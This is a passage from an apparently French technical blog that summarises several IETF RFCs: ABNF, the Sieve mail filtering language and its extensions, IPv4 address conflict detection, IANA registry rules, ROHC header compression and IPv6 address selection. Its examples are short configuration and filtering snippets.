Notre RFC normalise non seulement le format des grammaires mais aussi une bibliothèque de productions prêtes à l'emploi comme HEXDIG pour les caractères utilisables pour écrire de l'hexadécimal ou ALPHA pour les lettres de l'alphabet latin. Baptisée Core, cette bibliothèque est décrite dans l'appendice B.
À titre d'exemple, voici la spécification de SPF (décrit dans le RFC 4408) en ABNF :
record = version terms *SP version = "v=spf1" terms = *( 1*SP ( directive / modifier ) ) directive = [ qualifier ] mechanism qualifier = "+" / "-" / "?" / "~" mechanism = ( all / include / A / MX / PTR / IP4 / IP6 / exists ) all = "all" include = "include" ":" domain-spec A = "a" [ ":" domain-spec ] [ dual-cidr-length ] MX = "mx" [ ":" domain-spec ] [ dual-cidr-length ] PTR = "ptr" [ ":" domain-spec ] IP4 = "ip4" ":" ip4-network [ ip4-cidr-length ] IP6 = "ip6" ":" ip6-network [ ip6-cidr-length ] exists = "exists" ":" domain-spec modifier = redirect / explanation / unknown-modifier redirect = "redirect" "=" domain-spec explanation = "exp" "=" domain-spec unknown-modifier = name "=" macro-string ip4-cidr-length = "/" 1*DIGIT ip6-cidr-length = "/" 1*DIGIT dual-cidr-length = [ ip4-cidr-length ] [ "/" ip6-cidr-length ] ip4-network = qnum "." qnum "." qnum "." qnum qnum = DIGIT ; 0-9 / %x31-39 DIGIT ; 10-99 / "1" 2DIGIT ; 100-199 / "2" %x30-34 DIGIT ; 200-249 / "25" %x30-35 ; 250-255 ; conventional dotted quad notation. e.g., 192.0.2.0 ip6-network = <as per [RFC 3513], section 2.2> ; e.g., 2001:DB8::CD30 domain-spec = macro-string domain-end domain-end = ( "." toplabel [ "." ] ) / macro-expand toplabel = ( *alphanum ALPHA *alphanum ) / ( 1*alphanum "-" *( alphanum / "-" ) alphanum ) ; LDH rule plus additional TLD restrictions ; (see [RFC3696], Section 2) alphanum = ALPHA / DIGIT explain-string = *( macro-string / SP ) macro-string = *( macro-expand / macro-literal ) macro-expand = ( "%{" macro-letter transformers *delimiter "}" ) / "%%" / "%_" / "%-" macro-literal = %x21-24 / %x26-7E ; visible characters except "%" macro-letter = "s" / "l" / "o" / "d" / "i" / "p" / "h" / "c" / "r" / "t" transformers = *DIGIT [ "r" ] delimiter = "." / "-" / "+" / "," / "/" / "_" / "=" name = ALPHA *( ALPHA / DIGIT / "-" / "_" / "." ) header-field = "Received-SPF:" [CFWS] result FWS [comment FWS] [ key-value-list ] CRLF result = "Pass" / "Fail" / "SoftFail" / "Neutral" / "None" / "TempError" / "PermError" key-value-list = key-value-pair *( ";" [CFWS] key-value-pair ) [";"] key-value-pair = key [CFWS] "=" ( dot-atom / quoted-string ) key = "client-ip" / "envelope-from" / "helo" / "problem" / "receiver" / "identity" / mechanism / "x-" name / name identity = "mailfrom" ; for the "MAIL FROM" identity / "helo" ; for the "HELO" identity / name ; other identities dot-atom = <unquoted word as per [RFC2822]> quoted-string = <quoted string as per [RFC2822]> comment = <comment string as per [RFC2822]> CFWS = <comment or folding white space as per [RFC2822]> FWS = <folding white space as per [RFC2822]> CRLF = <standard end-of-line token as per [RFC2822]>
On notera qu'ABNF ne spécifie pas la représentation sous forme de bits, mais une structure abstraite. Ce point, qui n'était pas clair dans les premières versions de la norme, et qui est souvent oublié par les utilisateurs d'ABNF, est décrit dans la section 2.4. ABNF spécifie des caractères, pas des octets, et la production :
comment-start = %3b
décrit bien le caractère point-virgule, pas forcément qu'il sera représenté par un octet de valeur numérique 3B (59 en décimal). Un encodage d'Unicode comme UTF-32, par exemple, le codera différemment
L'un des rares changements par rapport à son prédécesseur, le RFC 4234, aura été l'ajout d'un avertissement à la production LWSP (Linear White SPace, qui permet des espaces en début de ligne). Cette production, décrite dans l'appendice B, qui définit la bibliothèque standard de productions, a en effet été critiquée comme trop puissante : des auteurs de RFC l'ont utilisée sans comprendre ses conséquences. La définition comprend désormais l'avertissement suivant, qui a été négocié à la virgule près, avec acharnement : Use of this linear-white-space rule permits lines containing only white space that are no longer legal in mail headers and have caused interoperability problems in other contexts. Do not use when defining mail headers and use with caution in other contexts.
Notons qu'il n'y a pas grand'chose d'obligatoire à l'IETF. Aucune autorité ne peut dire aux auteurs de RFC « Désormais, vous êtes obligés d'utiliser ABNF ». Ceux qui le font le choisissent volontairement. La principale « dissidence » venait du RFC 2616, qui normalise HTTP, et qui utilisait un langage différent. Mais, depuis, les nouveaux RFC sur HTTP ont supprimé cette exception et utilisés l'ABNF standard.
Notons aussi que, bien que l'un des principaux avantages des langages formels soit la possibilité de vérification automatique, cette possibilité n'est pas utilisée systématiquement. C'est ainsi que certains RFC ont été publiés avec des bogues dans leur grammaire ABNF...
Le RFC 2234 était « Proposition de norme », le RFC 4234 était « Projet de norme ». Pour franchir l'étape supplémentaire menant au statut de « Norme » tout court, ABNF a dû subir tout un processus, malgré l'extrême ancienneté de cette norme.
Notamment, ABNF a dû subir l'examen des programmes qui le mettent en
œuvre, examen décrit en http://ietf.org/IESG/Implementations/RFC4234_implem.txt
.
Date de publication du RFC : Janvier 2008
Auteur(s) du RFC : K. Murchison (Carnegie Mellon University)
Chemin des normes
Première rédaction de cet article le 27 mai 2008
Beaucoup d'utilisateurs du courrier électronique utilisent des
sous-adresses pour présenter plusieurs
identités à l'extérieur. La sous-adresse est
typiquement séparée du nom de la boîte aux lettres par un
+ (mais chacun a sa convention, il n'y a rien
de standard, cf. section 1 du RFC). Ainsi, l'adresse que je publie sur ce
blog,
stephane+blog@bortzmeyer.org
contient une
sous-adresse, blog
. Cette nouvelle extension du
langage de filtrage de courrier Sieve permet de
prendre des décisions en fonction de la sous-adresse.
Le principal intérêt pratique des sous-adresses est en effet de
pouvoir filtrer automatiquement le courrier en fonction de
l'identité (à noter que, par méchanceté ou par simple incompétence, un
certain nombre de sites Web refusent les sous-adresses). Si j'écris sur toutes les listes du
W3C avec une adresse
stephane+w3c@bortzmeyer.org
, je peux filtrer les
réponses facilement, en procmail avec une règle
comme :
:0: * !^TO_(stephane\+w3c)@ Mail/sdo/w3c
Et avec Sieve ? Ce langage, normalisé dans le
RFC 5228, permet d'exprimer des règles de
filtrage de manière standard. Notre RFC 5233 l'étend avec
l'extension subaddress
qui permettra, dès qu'elle
sera mise en œuvre par les logiciels, d'utiliser :
require ["envelope", "subaddress", "fileinto"]; if envelope :detail "to" "w3c" { fileinto "inbox.sdo.w3c"; }
Le :detail
a été introduit par l'extension
subaddress
. Il renvoie la sous-adresse
(:localpart
renvoie la partie à gauche du @ et
:user
renvoie le nom de la boîte, sans la sous-adresse).
Cette extension subaddress
avait
originellement été spécifiée dans le RFC 3598, que ce nouveau
RFC modifie sur des points de détail (l'annexe B détaille ce qui a changé).
Date de publication du RFC : Janvier 2008
Auteur(s) du RFC : T. Showalter, N. Freed (Sun)
Chemin des normes
Première rédaction de cet article le 20 février 2008
Le langage de filtrage du courrier électronique
Sieve repose sur un socle minimum, que doivent
comprendre toutes les implémentations de Sieve, et un certain nombre
d'extensions, couvrant des besoins
supplémentaires. Ce RFC déclare l'extension
vacation
, qui permet de mettre en place un
répondeur automatique.
La section 4 du RFC détaille l'extension et son mode
d'emploi. Comme toute extension Sieve, elle
doit être introduite par un require
. Elle prend
comme paramètre une chaîne de caractères qui sera envoyée à
l'expéditeur et diverses options comme :addresses
qui indique les adresses de destinataire que le script Sieve
considérera comme locales (car un répondeur automatique ne doit pas
répondre à n'importe quel message, seulement ceux où son maître est
listé dans les champs comme To:
, cf. section
4.5). Voici un exemple :
require "vacation"; vacation :addresses ["stephane@bortzmeyer.org", "bortzmeyer@gmail.com"] "Je suis parti, je lirai avec plaisir votre message plus tard.";
Comme l'avertit le RFC 3834, un répondeur
automatique est un programme dangereux, et tout le monde a déjà reçu
des réponses stupides, par exemple alors qu'on avait écrit à une liste
de diffusion, pas directement au destinataire. Ou bien des réponses
multiples alors qu'on avait déjà été prévenu. D'où la section 4.2 qui
précise qu'une mise en œuvre de vacation
doit se souvenir de qui a déjà été prévenu, pendant au moins sept
jours (valeur modifiable par l'option
:days
). Cette section est très détaillée car la
règle exacte est plus complexe, elle doit prendre en compte le
résultat des autres tests Sieve.
La section 5 décrit le message de réponse lui-même, les en-têtes
qu'il doit avoir (comme In-Reply-To
, section
5.8).
Ces messages de réponse étant destinés à des humains, la question
de leur internationalisation est cruciale. L'expéditeur qui écrit en
zazaki à un zazakophone serait surpris de
recevoir un message en anglais ! C'est l'objet de la section 7 qui
précise comment utiliser les en-têtes du RFC 3282 comme
Content-Language
:
if header :contains ["accept-language", "content-language"] "fr" { vacation "Je ne suis pas là."; } else { vacation "I am away."; }
Date de publication du RFC : Janvier 2008
Auteur(s) du RFC : P. Guenther (Sendmail), T. Showalter (Mirapoint)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF sieve
Première rédaction de cet article le 17 janvier 2008
L'utilisation massive du courrier électronique fait que, même sans compter le spam, chaque utilisateur professionnel reçoit désormais des dizaines et souvent des centaines de messages quotidiens dans sa boîte aux lettres. Il n'est donc plus question de les gérer entièrement à la main, il faut disposer d'un mécanisme de filtrage automatique.
On n'imagine plus aujourd'hui d'utiliser le courrier au bureau sans un tel mécanisme, permettant de mettre les messages dans des dossiers séparés selon, par exemple, la liste de diffusion concernée. Il en existe plusieurs, certains bâtis sur une interface graphique, d'autres autour d'un langage. Ces derniers, bien plus riches et puissants, sont variés. Le plus connu est procmail, célèbre pour son pouvoir expressif (on peut tout faire en procmail) mais aussi pour sa difficulté.
Sieve, l'objet de ce RFC, est nettement moins riche que procmail, ce qui peut être un inconvénient pour les utilisateurs avancés mais un avantage pour l'administrateur : permettre aux utilisateurs de configurer procmail revient à leur donner un accès shell alors que Sieve est plus contrôlable. Comme le note bien notre RFC, Sieve n'est pas un langage de Turing (par exemple, il ne connait pas les boucles). Ses capacités sont limitées, il est sandboxable, c'est-à-dire que l'administrateur système peut facilement limiter les choses que risquent de faire les auteurs de scripts Sieve.
Autre avantage par rapport à procmail, Sieve est normalisé et il en existe plusieurs mises en œuvre, dans Cyrus, dans Dovecot, dans GNU mailutils, dans Archiveopteryx...
Les scripts Sieve sont écrits par l'utilisateur avec un éditeur ordinaire ou bien via une interface graphique. Ils sont installés sur le serveur de messagerie via FTP ou bien par le protocole spécifique Manage Sieve (RFC 5804). Le programme de webmail SquirrelMail, par exemple, dispose d'une interface d'édition de scripts Sieve, qui gère le protocole Manage Sieve.
Voici un exemple de script Sieve inspiré du RFC et amélioré par Mathieu Arnold :
if header :contains "from" "jfc" { discard; } elsif header :contains ["subject"] ["money", "viagra"] { discard; } else { fileinto "INBOX"; }
Sieve lui-même est très limité mais le langage dispose d'un
mécanisme d'extensions (qui doivent être déclarées dans le script avec
require
). Certaines sont définies dès notre RFC (comme
fileinto
), d'autres sont définies via d'autres
RFC, par exemple pour utiliser des tests anti-spam ou antivirus (RFC 5235), ou bien pour tester sur des sous-adresses (RFC 5233).
Notre RFC est la mise à jour du RFC 3028, qui avait été le premier à normaliser Sieve. Les principaux changements (section 15) sont :
reject
, qui migrera vers
un RFC séparé, le RFC 5429.i;octet
et
i;ascii-casemap
sont directement dans Sieve, les
autres sont des extensions (et doivent donc être déclarées avec
require
).Pour les utilisateurs de procmail, il existe un script (que je n'ai
pas testé) pour migrer certaines règles : http://www.earth.ox.ac.uk/~steve/sieve/procmail2sieve.pl
). Si
vous êtes curieux des extensions Sieve, vous pouvez lire tous les articles de mon blog qui en
parlent.
Notez que certains hébergeurs de courrier permettent à leurs clients d'écrire des scripts Sieve, par exemple Gandi. (Ils ne pourraient pas le faire avec un langage plus général comme procmail, pour des raisons de sécurité.)
Date de publication du RFC : Juillet 2008
Auteur(s) du RFC : Stuart Cheshire (Apple)
Chemin des normes
Première rédaction de cet article le 4 juillet 2008
Ce RFC est entièrement consacré à un problème qui a causé des cheveux blancs à beaucoup d'administrateurs de réseaux informatiques : la détection d'une duplication d'adresses IP.
Que la duplication soit un phénomène normal (cas des réseaux non gérés, ceux dont personne ne s'occupe, où il n'y a pas de liste des adresses allouées), le résultat d'une erreur humaine, ou une incivilité (« Je prends une adresse IP au hasard, on verra bien »), elle est quasiment impossible à empêcher. Une machine peut toujours émettre avec l'adresse qu'elle veut, le protocole ARP (RFC 826) ne peut fournir aucune sécurité (section 6 du RFC). Peut-on au moins la détecter ? C'est ce que propose notre RFC, après avoir expliqué (section 1) pourquoi le mécanisme proposé par le RFC 2131 n'est pas suffisant (cette section 1, comme souvent avec Stuart Cheshire, tourne d'ailleurs souvent au réglement de comptes, comme lorsque l'auteur souligne que Mac OS avait déjà résolu le problème en 1998).
Le nouveau protocole, ACD, repose sur ARP. La section 1.2 commence
en listant les nouveautés. Le principe d'ACD est d'utiliser ARP, non
pas pour poser sincèrement la question « Qui utilise telle adresse
IP ? » mais pour détecter ceux qui répondraient à une requête pour
l'adresse IP de la machine émettrice. Comme le note la section 1.2, de
telles questions « orientées » sont courantes dans la vie. Si on
demande au café « Est-ce que cette table est libre ? » c'est en
général avec l'intention de s'y asseoir si elle l'est. De même, avec
ACD, la machine qui veut vérifier l'unicité de son adresse IP, mettons
192.0.2.48
va demander à tout le monde « Qui
utilise 192.0.2.48
? » et confirmer cette adresse
si personne ne réagit. ACD est utilisable sur tout réseau où ARP fonctionne.
La section 2 est la description détaillée du protocole. Lors du
démarrage ou redémarrage d'une interface réseau, la machine ACD envoie
une requête ARP pour sa propre adresse, avec sa propre
adresse MAC comme adresse MAC source et
0.0.0.0
comme adresse IP source (section 2.1.1 :
cette surprenante précaution est nécessaire pour éviter de polluer les
caches ARP si quelqu'un utilise déjà cette adresse).
Après une attente suffisante (les détails se trouvent dans le RFC), si personne n'a répondu, la machine considère qu'il n'y a pas de duplication d'adresse et envoie une deuxième requête ARP, cette fois-ci avec son adresse IP en source, pour prévenir qu'elle va désormais utiliser cette adresse.
La réponse ARP est normalement acheminée en unicast mais la section 2.6 explique qu'ACD peut aussi utiliser la diffusion générale.
Et si ça va mal ? Si quelqu'un utilise cette adresse ? La section 2.4 couvre ce cas, en notant également que la détection de conflit doit être continue, puisqu'une autre machine peut arriver à tout moment en voulant utiliser la même adresse. La section détaille donc le concept de « défendre son adresse », comment et dans quelles conditions.
La section 3 contient l'explication d'un choix de conception qui fut très discuté, l'utilisation, pour tester la duplication, de requêtes ARP au lieu de réponses ARP, a priori plus adaptées. La principale raison est la crainte que certaines implémentations ne gèrent pas correctement des réponses qui n'ont été précédées d'aucune requête. Notons aussi qu'il est malheureusement rare dans les RFC de voir une discussion des choix alternatifs : la spécification est en général annoncée telle quelle, sans justification des choix, contrairement à ce que fait ce RFC.
La section 4, historique, rappelle l'ancienne technique des « ARP gratuits » (au sens de « meurtres gratuits »), qui avait été proposée par Stevens dans son TCP/IP illustrated et explique en quoi ACD est préférable (l'ARP gratuit est l'équivalent de crier « Je vais prendre cette table » sans vérifier si elle est déjà occupée).
Date de publication du RFC : Mai 2008
Auteur(s) du RFC : Thomas Narten (IBM), Harald
Alvestrand (Google)
Première rédaction de cet article le 20 mai 2008
Dernière mise à jour le 24 juin 2015
Un aspect peu connu du travail de normalisation est la nécessité de tenir des registres de certains paramètres, lorsque la liste de ces derniers n'est pas fixée dans un RFC. Par exemple, les algorithmes publiés dans le DNS pour IPsec ne sont pas définis de manière limitative dans le RFC 4025 mais sont enregistrés dans un registre public. Pour les RFC, ces registres sont tenus par l'IANA. Celle-ci ne décide pas quels registres elle doit tenir ni à quelle condition un nouveau paramètre peut y rentrer, elle applique les décisions contenus dans la section IANA Considerations d'un RFC. C'est cette section qui était décrite ici. Ce RFC a depuis été remplacé par le RFC 8126.
Prenons l'exemple du RFC 3315 (DHCP). Sa section 24 contient le
texte
This document defines several new name spaces associated with DHCPv6
and DHCPv6 options:
- Message types
- Status codes
- DUID
- Option codes
IANA has established a registry of values for each of these name
spaces, which are described in the remainder of this section. These
name spaces will be managed by the IANA and all will be managed
separately from the name spaces defined for DHCPv4.. En application de ce texte,
l'IANA a créé le registre
DHCPv6 and DHCPv6 options qu'on peut consulter en ligne à https://www.iana.org/assignments/dhcpv6-parameters
. Et comment ajoute-t-on des entrées dans ce registre ? En
suivant les règles données dans ce même RFC :
New DHCP option codes are tentatively assigned after the
specification for the associated option, published as an Internet
Draft, has received expert review by a designated expert [11]. The
final assignment of DHCP option codes is through Standards Action, as
defined in RFC 2434 [11].
.
Pour aider les auteurs de RFC à écrire correctement cette section IANA Considerations, notre RFC 5226, qui succède au RFC 2434, pose quelques règles.
Les sections 1 et 2 du RFC décrivent le problème général de la gestion d'un espace de nommage (namespace). Tous ces espaces n'ont pas les mêmes caractéristiques. Certains sont très petits (le champ protocole, qui n'a que huit bits soit 256 valeurs possibles, cf. RFC 5237) et doivent donc être gérés avec prudence, certains sont hiérarchiques comme le DNS ou comme les OID et peuvent donc être délégués, certains sont immenses, et peuvent être gérés avec moins de précautions (mais nécessitent quand même des règles, comme expliqué dans la section 2).
La section 3 décrit le rôle des experts sur
lesquels doit parfois s'appuyer l'IANA. Certains registres nécessitent
en effet un choix technique avec l'enregistrement d'un nouveau
paramètre et l'IANA n'a pas forcément les compétences nécessaires pour
cette évaluation. Elle délègue alors cette tâche à un expert
(designated expert). Par exemple, pour le registre des langues, défini par le RFC 4646, l'expert actuel est Michael Everson. Ce registre utilise également une autre
possibilité décrite dans cette section, une liste de discussion qui sert à un examen collectif des requêtes
(pour le registre des langues, cette liste est
ietf-languages@iana.org
). La section 3 discute
des autres choix qui auraient pu être faits (par exemple un examen par le groupe de travail qui a
créé le RFC, ce qui n'est pas possible, les groupes de travail IETF
ayant une durée de vie limitée). Elle explique ensuite les devoirs de
l'expert (comme la nécessité de répondre relativement rapidement,
section 3.3, chose qui est loin d'être toujours faite).
La section 4 est consacrée à la création d'un nouveau registre. Si un RFC doit demander une telle création, il doit préciser quelle politique d'enregistrement devra suivre l'IANA. C'est une des parties les plus intéressantes du RFC, notamment sa section 4.1 qui explique les politiques possibles, par exemple :
iso.org.dod.internet.private.enterprise
sont un
bon exemple (https://www.iana.org/assignments/enterprise-numbers
mais
attention, le registre est lourd à charger). C'est sans doute la plus
« libérale » des politiques d'enregistrement.Parmi les autres points que doit spécifier le RFC qui crée un nouveau registre, le format de celui-ci (section 4.2). À noter que l'IANA n'utilise pas d'outils pour tester ce format (les registres IANA étaient de simples fichiers texte, maintenus avec un éditeur ordinaire mais ont migré pour la plupart vers XML, depuis la publication de ce RFC) et que des erreurs de syntaxe sont parfois apparues dans des registres.
La section 5 couvre l'enregistrement de nouveaux paramètres dans un registre existant. C'est elle qui précise, entre autres, que l'IANA ne laisse normalement pas le choix de la valeur du paramètre au demandeur (mais, en pratique, l'IANA est sympa et a accepté beaucoup de demandes humoristiques comme le port TCP n° 1984 pour le logiciel Big Brother...)
Enfin, diverses questions sont traitées dans la section 6, comme la récupération de valeurs qui avaient été affectées mais qui ne le sont plus (le RFC 3942 l'avait fait mais c'est évidemment impossible dès que les paramètres en question ont une... valeur, ce qui est le cas entre autres des adresses IP).
Bien que la plupart des allocations effectuées par l'IANA ne sont guère polémiques (à l'exception des noms de domaine et des adresses IP, qui sont des sujets très chauds), notre RFC 5226 prévoit une procédure d'appel, décrite en section 7. Cela n'a pas suffit à régler quelques cas pénibles comme l'enregistrement de CARP.
Ce RFC 5226 remplace le RFC 2434 (et a lui-même été remplacé depuis par le RFC 8126). Les principaux changements sont détaillés dans la section 10. Par exemple, le terme de propagande IETF Consensus a été remplacé par le plus neutre IETF Review. (Les organisations qui parlent de leur consensus policy le font en général pour faire taire les critiques, en prétendant que tout le monde est d'accord.) Les changements sont en général de simples clarifications, le nouveau RFC étant plus directif que l'ancien. Les autres changements sont souvent l'ajout de questions nouvelles, comme la récupération de valeurs qui avaient été allouées.
Les relations entre l'IETF et l'IANA sont fixées par le MOU contenu dans le RFC 2860. À noter que tout n'est pas couvert dans ce RFC, notamment des limites aux demandes de l'IETF. Que se passerait-il par exemple si l'IETF demandait à l'IANA, qui ne facture pas ses prestations, de créer un registre de milliards d'entrées, très dynamique et donc très coûteux à maintenir ? Pour l'instant, l'IANA ne peut pas, en théorie, le refuser et la question s'est parfois posée à l'IETF de savoir si tel ou tel registre n'était pas trop demander.
Puisque l'IANA est un acteur important de l'Internet, rappelons aussi que, bien que la fonction de l'IANA soit actuellement assurée par l'ICANN, la tâche de gestion des protocoles et des registres n'a rien à voir avec les activités, essentiellement politiciennes, de l'ICANN.
Date de publication du RFC : Avril 2008
Auteur(s) du RFC : G. Pelletier, K. Sandlund (Ericsson)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF rohc
Première rédaction de cet article le 2 mai 2008
ROHC est un mécanisme de description des compressions possibles des en-têtes des paquets IP. Ce RFC décrit les profils de compression qui peuvent être utilisés pour un certain nombre des protocoles les plus courants (la définition de ROHC lui-même étant dans le RFC 5795, la section 3 de notre RFC fait quelques rappels).
Mettant à jour les RFC précédents, le RFC 3095, mais aussi les RFC 3843 et RFC 4019, ce RFC est l'état de l'art en ce qui concerne la compression d'en-têtes. La principale innovation est l'utilisation du langage formel ROHC-FN du RFC 4997 (la section 4.2 résume les principaux changements).
Le gros du RFC commence avec la section 5 qui expose les principes de chaque profil. Un canal ROHC relie un compresseur et un décompresseur. Le compresseur indique les changements par rapport aux prévisions, l'absence de changements signifiant au décompresseur qu'il peut appliquer la règle par défaut. Les systèmes de compression en réseau doivent toujours faire un compromis entre la robustesse (qui nécessite de la redondance, donc de ne pas trop comprimer) et l'efficacité (qui impose de supprimer toute la redondance). Voir par exemple la section 5.1.2, qui discute ce compromis.
Enfin, la section 6 contient les profils eux-mêmes, exprimés en
partie en ROHC-FN. Cette section contient des
fonctions de compression et les règles ROHC-FN qui les
utilisent. Parmi les fonctions primitives, qui ne sont pas en ROHC-FN,
la section 6.6.6 (fonction inferred_ip_v4_length
) dit comment comprimer
la champ Length
d'IPv4. Étant déductible de la longueur du
datagramme, il n'est pas indispensable et peut
donc être comprimé à une taille de... zéro bits. La section 6.6.9
décrit une méthode bien plus complexe (fonction
timer_based_lsb
) pour les champs dont la valeur
change approximativement en fonction linéaire du temps (elle nécessite donc que les
horloges du compresseur et du décompresseur ne dérivent pas trop l'une
par rapport à l'autre).
Un exemple en ROHC-FN est au contraire la définition de la fonction
scaled_ts_lsb
(qui sert pour RTP), qui s'exprime ainsi :
scaled_ts_lsb(time_stride_value, k) { UNCOMPRESSED { timestamp [ 32 ]; } COMPRESSED timerbased { ENFORCE(time_stride_value != 0); timestamp =:= timer_based_lsb(time_stride_value, k, ((2^k) / 2) - 1); } COMPRESSED regular { ENFORCE(time_stride_value == 0); timestamp =:= lsb(k, ((2^k) / 4) - 1); } }
L'annexe A est une excellente étude des en-têtes de divers protocoles, avec une classification de leur comportement, selon qu'il permet la compression ou pas. C'est une lecture recommandée pour tous ceux qui s'intéressent à la compression d'en-têtes mais n'ont pas envie de relire le RFC original du protocole. Ils trouveront résumées de façon claire les caractéristiques de chaque champ de l'en-tête. Par exemple, pour IPv6 (annexe A.2) :
STATIC-KNOWN
c'est-à-dire
constante pour toute la durée du flot et à une valeur « bien connue »,
en l'occurrence 6.RACH
(RArely CHanging),
c'est-à-dire changeant rarement (ce nombre ne bouge que lorsque les
routes sont modifiées)STATIC-DEF
, c'est-à-dire constant pour toute la
durée du flot et pouvant d'ailleurs servir à définir le flot.Il n'existe apparemment pas d'implémentation libre de ROHC. Mais plein de déploiements sont déjà faits dans les téléphones portables. La thèse d'Ana Minaburo contient une bonne introduction à ROHC.
Date de publication du RFC : Juillet 2008
Auteur(s) du RFC : A. Matsumoto, T. Fujisaki
(NTT), R. Hiromi (Intec
NetCore), K. Kanayama (INTEC Systems)
Pour information
Réalisé dans le cadre du groupe de travail IETF v6ops
Première rédaction de cet article le 16 juillet 2008
L'ancien modèle d'IP prévoyait seulement une adresse IP par interface réseau donc, pour la plupart des machines, une seule adresse IP tout court. Le choix de l'adresse IP à utiliser lorsque cette machine initiait une communication avec une autre machine était donc trivial. Mais ce modèle a changé, notamment avec l'arrivée d'IPv6, où la multiplicité des adresses devient la règle. Quelles adresses source et destination utiliser, dans ces conditions ? Le RFC 3484 exposait un mécanisme, qui a prouvé quelques limitations, menant à la conception d'un système amélioré dont notre RFC 5221 est le cahier des charges et le RFC 6724 la réalisation.
Le système du RFC 3484 a été mis en œuvre dans
plusieurs systèmes d'exploitations. Par exemple, ceux utilisant la
GNU libc disposent de la méthode de ce RFC et,
en prime, ont /etc/gai.conf
à leur disposition pour configurer
manuellement le choix des adresses. Mais
ce mécanisme n'est pas parfait et le RFC 5220 décrit les
problèmes qu'il pose.
Le nouveau mécanisme va tenter de traiter ces problèmes, tout en gardant la possibilité d'un mécanisme totalement automatique (section 1).
La section 2 liste les onze exigences du nouveau système (je ne les
cite pas toutes ci-dessous). Par exemple,
2.2 pose comme principe qu'il ne doit pas rendre la machine plus
pénible à utiliser : le processus de sélection ne doit pas être long
et il ne doit pas imposer une action manuelle. 2.5 exige que le
mécanisme puisse être spécifique à chaque application, permettant à
Firefox d'utiliser des règles différentes de
celles de Thunderbird (via par exemple une
API qui reste à définir). 2.7 insiste sur la
nécessité pour l'administrateur système de pouvoir contrôler ce
mécanisme, depuis un point central (comme
/etc/gai.conf
sur Debian
ou Gentoo).
La sélection d'adresses IP source et destination a évidemment un impact sur la sélection du premier routeur à utiliser et ce point faisait l'objet du RFC 4191, et désormais de la section 2.8 de notre RFC.
Comme il n'est pas question de réécrire toutes les applications, le mécanisme envisagé doit évidemment être compatible avec l'API socket du RFC 3493 (section 2.9). Et, toujours sur la question de compatibilité, ce mécanisme doit marcher avec celui du RFC 3484.
Date de publication du RFC : Juillet 2008
Auteur(s) du RFC : A. Matsumoto, T. Fujisaki (NTT), R. Hiromi (Intec Netcore), K. Kanayama (INTEC Systems)
Pour information
Réalisé dans le cadre du groupe de travail IETF v6ops
Première rédaction de cet article le 18 juillet 2008
Lorsqu'un système connecté à Internet a plusieurs adresses IP, la question de savoir laquelle utiliser comme source se pose. Si ce système dispose d'adresses IP de familles différentes, par exemple IPv4 et IPv6, la question de la sélection de l'adresse de destination peut également survenir. Le RFC 3484 décrivait un mécanisme pour cette sélection, mais qui a posé des problèmes en pratique, problèmes que décrit notre RFC.
Le RFC 3484 est par exemple mis en œuvre dans le
système GAI (à noter que ce système est très peu documenté) de la GNU libc
(utilisée dans des systèmes comme Gentoo ou
Debian). Ce système se configure via le fichier
/etc/gai.conf
et permet d'avoir des politiques
comme « Privilégier systématiquement les adresses
IPv6 » ou bien « Préferer
IPv4 sauf pour tels préfixes ». C'est
l'expérience avec des systèmes analogues (sur
FreeBSD, c'est /etc/ip6addrctl.conf
, cf. la documentation ; Solaris a un mécanisme proche) qui a donné naissance au
travail actuel sur le successeur du RFC 3484, travail dont
notre RFC 5220 décrit les motivations et dont le RFC 5221 donne le cahier des charges pour le prochain
mécanisme. Le successeur a finalement été le RFC 6724, en septembre 2012.
La section 2 forme l'essentiel de notre RFC, en listant successivement plusieurs cas concrets et les solutions - ou l'absence de solution - que leur apporte le RFC 3484. La section 2.1.1, par exemple, analyse le cas où il y a deux routeurs sur le même lien. La sélection du premier routeur à utiliser ne dépendant typiquement pas de l'adresse IP source, un site connecté à deux FAI va avoir des problèmes puisque les paquets pourront être envoyés au « mauvais » routeur, celui connecté à un autre FAI que celui qui a attribué l'adresse source choisie (le cas de la section 2.1.2 est similaire et montre un FAI qui met en œuvre le RFC 2317, éliminant ainsi les paquets IP malchanceux).
La section 2.1.3 décrit par contre un cas qui peut être résolu par
le RFC 3484, contrairement aux deux précédents. La machine y
est connectée à l'Internet via un
FAI et à un réseau privé, utilisant par exemple
des adresses IP locales (RFC 4193). Dans ce cas,
il suffit de donner la priorité aux adresses globales. Si le préfixe
global est 2001:db8:1000::/48
et que le préfixe
du réseau privé est 2001:db8:8000::/48
, les
règles suivantes dans gai.conf
donneront le
résultat attendu :
# Tout l'Internet precedence ::/0 40 # Le réseau privé, à n'utiliser que si le destinataire est dans ce réseau privé, # grâce à la règle "longest matching rule" du RFC 3484, section 5, # règle 8. On lui met une précédence plus faible. precedence 2001:db8:8000::/48 20
La section 2.1.4 décrit un cas similaire.
La section 2.1.5 décrit le cas où le site change son préfixe
(cf. RFC 4192) et où les machines doivent,
pendant la transition, utiliser la bonne adresse source. Ce problème
se résout également dans le cadre du RFC 3484. Mais il faut
noter que, le RFC en question ne spécifiant pas de mécanisme
d'auto-configuration, cela nécessitera d'aller éditer le
gai.conf
(ou équivalent) sur toutes les machines
du site, ce qui rendra le renumérotage très pénible !
La section 2.1.7 étudie le cas des adresses « vie privée » du RFC 4941. Ces adresses ayant des propriétés spécifiques, il serait préférable de choisir ou non leur utilisation par service et pas globalement et le RFC 3484 ne permet pas cela (le RFC 5014 fournit une solution possible).
La section 2.2 couvre le cas de la sélection de l'adresse
destination. Par exemple, 2.2.1 étudie le cas
très courant où un site est connecté nativement en IPv4 mais, compte
tenu du manque de FAI IPv6, utilise un tunnel lent et peu fiable pour se connecter en
IPv6. La table par défaut du RFC 3484, section 2.1,
prioritise IPv6, ce qui n'est pas une bonne idée dans ce cas. Il est
donc préférable de pouvoir choisir IPv4, ce qui se fait par exemple
avec la ligne suivante dans /etc/gai.conf
:
# Always prefer IPv4 precedence ::ffff:0:0/96 100
où
::ffff:0:0
désigne les adresses IPv4
mappées (section 2.5.5.2 du RFC 4291). Ce cas
ne nécessite donc pas de modification du RFC 3484. 2.2.2 est
un cas similaire où il n'y a pas de connectivité Internet IPv6 du tout mais où
le réseau local offre IPv6.
Date de publication du RFC : Juillet 2008
Auteur(s) du RFC : D. Thaler (IAB), B. Aboba (IAB)
Pour information
Première rédaction de cet article le 25 juillet 2008
